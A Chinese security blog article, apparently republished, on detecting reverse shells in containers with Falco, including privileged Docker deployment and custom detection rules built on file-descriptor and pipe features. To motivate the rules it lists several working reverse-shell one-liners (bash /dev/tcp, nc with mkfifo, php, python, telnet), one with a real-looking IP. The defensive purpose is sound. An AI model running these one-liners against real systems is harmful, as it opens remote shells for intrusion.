利用Falco监控反弹Shell

admin 2026-01-21 00:47:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍利用Falco监控反弹Shell。通过分析Bash、Python等反弹手段,提取了文件描述符(fd)对外连接及管道操作等共性特征。文章详述了Docker部署Falco的步骤,并编写了检测fd0-3网络连接与管道行为的监控规则。该方案能有效识别异常反弹Shell,但也存在误报漏报及容器特权风险。 综合评分: 85 文章分类: 应急响应,安全工具,安全运营,云安全


cover_image

利用Falco监控反弹Shell

蚁景网安

2026年1月20日 17:06 湖南

以下文章来源于蚁景网络安全 ,作者Jumbo

蚁景网络安全 .

致力于为你带来更实用的网络安全技术内容!

前言

网络对抗愈加激烈,各种攻击手法层出不穷,在安全左移的同时,如何做到快速的应急响应,也是攻防中的一大重点。本文将以Falco为例,来达到反弹Shell的监控。

温馨提示:因为公众号排布局限,文中代码块可通过左右滑动查看

安装Falco

根据文档在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得注意Falco容器自身的安全性,不然就被逃逸了:

docker pull falcosecurity/falco:latest

虽然宿主机Falco安装失败了,但是Falco相关的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的更改:

docker run --rm -i -t     --privileged     -v /var/run/docker.sock:/host/var/run/docker.sock     -v /dev:/host/dev     -v /proc:/host/proc:ro     -v /boot:/host/boot:ro     -v /lib/modules:/host/lib/modules:ro     -v /usr:/host/usr:ro     -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/     falcosecurity/falco:latest

可以正常运行:

反弹Shell分析

既然我们要监控反弹Shell的行为,我们就要分析对应的行为特征,我们使用我发表在TSRC的红蓝对抗之Linux内网渗透文中的反弹Shell手段看看进程有啥特性或者共性:

bash -i >& /dev/tcp/1.1.1.1/10000 0>&1

bash -c&nbsp;'exec bash -i &>/dev/tcp/yourip/yourport <&1'

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f

php -r&nbsp;'$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'

python -c&nbsp;'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

TF=$(mktemp -u); mkfifo&nbsp;$TF&nbsp;&& telnet 127.0.0.1 1337 0<$TF&nbsp;| /bin/sh 1>$TF

根据上面的反弹Shell行为,发现有几个特性,或者说共性:

  1. fd有对外的socket连接,且fd.num不超过3
  2. fd有pipe管道,且fd.num不超过4
  3. fd.255是/dev/tty

根据综上所述,可以编写对应的规则。

编写监控规则

Falco的规则有三块内容:

  • Rules
  • Macros
  • Lists

Rules主要是告警名称、告警介绍、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。

规则长下面这样:

Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:

根据上述反弹Shell分析,如果bash、zsh这些进程的fd出现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则:

- list: shell_binaries
&nbsp; items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- rule: Shell Binary Reverse shell
&nbsp; desc: Bash、Zsh etc. have network connection,May be Reverse Shell
&nbsp; condition: evt.type=dup and proc.name&nbsp;in&nbsp;(shell_binaries) and container and fd.num&nbsp;in&nbsp;(0, 1, 2, 3) and fd.type&nbsp;in&nbsp;("ipv4",&nbsp;"ipv6")
&nbsp; output: >
&nbsp; &nbsp; Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
&nbsp; priority: emergency
&nbsp; tags: [container, reverse_shell, mitre_execution]
&nbsp; append:&nbsp;false

上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:

但是这样很容易被绕过,主要执行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的方式。因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行:

- rule: Any Binary fd 0-3 Have Network Connection
&nbsp; desc: Any Binary fd 0-3 have network connection
&nbsp; condition: evt.type=connect and container and fd.num&nbsp;in&nbsp;(0, 1, 2, 3) and fd.type&nbsp;in&nbsp;("ipv4",&nbsp;"ipv6")
&nbsp; output: >
&nbsp; &nbsp; Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
&nbsp; priority: warning
&nbsp; tags: [container, fd03_network]
&nbsp; append:&nbsp;false

继续根据上面的反弹Shell分析,发现telnet这样的反弹Shell,会有管道pipe的产生,因此我们继续完善我们的告警,添加Pipe:

- rule: Shell Binary Pipe
&nbsp; desc: Bash、Zsh etc. have Pipe,May be Reverse Shell
&nbsp; condition: evt.type=dup and proc.name&nbsp;in&nbsp;(shell_binaries) and container and fd.num&nbsp;in&nbsp;(0, 1, 2, 3) and fd.type="pipe"
&nbsp; output: >
&nbsp; &nbsp; Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
&nbsp; priority: emergency
&nbsp; tags: [container, reverse_shell, pipe, mitre_execution]
&nbsp; append:&nbsp;false

fd.255是/dev/tty也可以加个:

- rule: fd.255 = tty
&nbsp; desc: fd.255 = tty
&nbsp; condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'
&nbsp; output: >
&nbsp; &nbsp; fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
&nbsp; priority: warning
&nbsp; tags: [container, fd255_tty]
&nbsp; append:&nbsp;false

总结

本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。

声明

本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

学习网安实战课程,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 《利用Falco监控反弹Shell》

评论:0   参与:  0